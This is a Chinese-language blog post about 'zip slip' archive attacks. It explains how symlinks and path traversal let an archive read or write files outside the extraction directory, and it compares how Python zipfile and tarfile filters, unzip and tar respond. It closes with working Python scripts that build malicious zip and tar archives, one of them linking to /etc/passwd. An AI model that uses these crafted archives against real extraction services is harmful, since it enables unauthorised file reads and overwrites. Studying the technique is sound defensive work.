Skip to content
blogs of mekrina
Go back

zipslip

Updated:
Edit page

读文件

软链接

当有另外的读/下载文件功能时,但本来只能读某个目录下的文件内容时。

支持软链接的解压方法均可用。

创建一个指向目标的软链接,然后读取/下载

写文件

软链接

创建一个指向目标父文件夹的软链接,然后往这个软链接里面写文件。

这两个步骤必须分开成两个压缩包解压,否则会报错

checkdir error: output/link exists but is not directory

路径穿越方法

打包时,文件名设置为绝对路径,或者..路径穿越

解压方法

zipfile.extractall

会过滤绝对路径,过滤...,路径穿越不可用。 不支持软链接,解压后内容会是目标文件路径。

安全

tarfile.extractall

默认不过滤绝对路径、.., 可路径穿越。 软链接可用

Python 3.12后加入了filter可选参数,默认无限制

filter = 'tar'时, 不允许解压到外部,允许在目标目录下创建链接到外部的软链接。

读文件,不能链接写

filter = 'data'时,不允许链接到外部。

安全

Python 3.14后默认是data过滤器

unzip

过滤绝对路径、.., 路径穿越不可用 支持软链接

读文件、链接写

tar xvf

同上unzip

创建压缩包方法

tar或者zip

创对应文件,然后再命令行打包。

没法写绝对路径,或者..路径穿越

zipfile

import zipfile
import stat

def add_symlink(zf: zipfile.ZipFile, link_name: str, target: str):
    info = zipfile.ZipInfo(link_name)
    info.create_system = 3  # Unix
    info.external_attr = (stat.S_IFLNK | 0o777) << 16
    info.compress_type = zipfile.ZIP_STORED

    # symlink 的内容就是它指向的目标路径
    zf.writestr(info, target)

with zipfile.ZipFile("slip.zip", "w") as zf:
    zf.writestr("output/./target/real.txt", "hello\n")
    add_symlink(zf, "link", "/tmp/")

tarfile

import tarfile
import io

def add_text(tar, name, text):
    data = text.encode()
    info = tarfile.TarInfo(name)
    info.size = len(data)
    tar.addfile(info, io.BytesIO(data))

def add_symlink(tar, name, target):
    info = tarfile.TarInfo(name)
    info.type = tarfile.SYMTYPE
    info.linkname = target
    info.mode = 0o777
    tar.addfile(info)

with tarfile.TarFile("slip.tar", "w") as tf:
    # add_text(tf, "link/success", "success!")
    add_symlink(tf, "link", "../../../../../../etc/passwd")

Edit page